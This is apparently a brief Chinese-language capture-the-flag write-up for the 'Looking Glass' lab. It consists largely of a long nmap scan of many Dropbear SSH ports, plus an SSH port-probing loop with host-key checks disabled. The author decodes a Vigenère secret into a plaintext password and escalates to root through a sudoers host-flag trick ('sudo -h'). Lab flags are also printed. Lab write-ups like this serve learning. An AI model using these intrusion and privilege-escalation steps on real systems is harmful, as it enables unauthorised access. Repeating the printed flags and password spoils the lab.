镜子续集
Starting Nmap 7.60 ( https://nmap.org ) at 2024-01-30 12:50 GMT Nmap scan report for ip-10-10-150-253.eu-west-1.compute.internal (10.10.150.253) Host is up (0.00091s latency). Not shown: 916 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 3f:15:19:70:35:fd:dd:0d:07:a0:50:a3:7d:fa:10:a0 (RSA) | 256 a8:67:5c:52:77:02:41:d7:90:e7:ed:32:d2:01:d9:65 (ECDSA) |_ 256 26:92:59:2d:5e:25:90:89:09:f5:e5:e0:33:81:77:6a (EdDSA) 9000/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 9001/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 9002/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 9003/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 9009/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 9010/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 9011/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 9040/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 9050/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 9071/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 9080/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 9081/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 9090/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 9091/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 9099/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 9100/tcp open jetdirect? 9101/tcp open jetdirect? 9102/tcp open jetdirect? 9103/tcp open jetdirect? 9110/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 9111/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 9200/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 9207/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 9220/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 9290/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 9415/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 9418/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 9485/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 9500/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 9502/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 9503/tcp open ssh Dropbear sshd (protocol 2.0) 9535/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 9575/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 9593/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 9594/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 9595/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 9618/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 9666/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 9876/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 9877/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 9878/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 9898/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 9900/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 9917/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 9929/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 9943/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 9944/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 9968/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 9998/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 9999/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 10000/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 10001/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 10002/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 10003/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 10004/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 10009/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 10010/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 10012/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 10024/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 10025/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 10082/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 10180/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 10215/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 10243/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 10566/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 10616/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 10617/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 10621/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 10626/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 10628/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 10629/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 10778/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 11110/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 11111/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 11967/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 12000/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 12174/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 12265/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 12345/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 13456/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 13722/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 13782/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) 13783/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA) MAC Address: 02:7B:39:5F:15:71 (Unknown) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 135.78 seconds root@ip-10-10-35-132:~#
什么叫狡兔n窟啊
for i in $(seq 9800 9900); do echo "connecting to port $i"; ssh -o 'LogLevel=ERROR' -o 'StrictHostKeyChecking=no' -p $i test@10.10.150.253;done | grep -vE 'Lower|Higher'
二分确定正确的ssh端口我这里是10302
返回奇怪的东西
原文比对一下吧
'Twas brillig, and the slithy toves Did gyre and gimble in the wabe; All mimsy were the borogoves, And the mome raths outgrabe. 'Beware the Jabberwock, my son! The jaws that bite, the claws that catch! Beware the Jubjub bird, and shun The frumious Bandersnatch!' He took his vorpal sword in hand: Long time the manxome foe he sought-- So rested he by the Tumtum tree, And stood awhile in thought. And as in uffish thought he stood, The Jabberwock, with eyes of flame, Came whiffling through the tulgey wood, And burbled as it came! One, two! One, two! And through and through The vorpal blade went snicker-snack! He left it dead, and with its head He went galumphing back. 'And hast thou slain the Jabberwock? Come to my arms, my beamish boy! O frabjous day! Callooh! Callay!' He chortled in his joy. 'Twas brillig, and the slithy toves Did gyre and gimble in the wabe; All mimsy were the borogoves, And the mome raths outgrabe. Your secret is bewareTheJabberwock
在这里解密的Vigenere Solver | guballa.de
再链上去jabberwock:BroughtPushedWhileUndergoing
ssh22端口上去}32a911966cab2d643f5d57d9e0173d56{mht反转一下就行
同时reboot有sudo权限,直接重启提权就行
最后一个是密码
奇了怪了,偏偏能得到私钥
上去又要提权
看看sudo文件
alice@looking-glass:~$ cat /etc/sudoers.d/alice alice ssalg-gnikool = (root) NOPASSWD: /bin/bash
-h 标志可用于在使用 Sudo 执行命令时指定主机sudo -h bash}f3dae6dec817ad10b750d79f6b7332cb{mht结束
提权成功
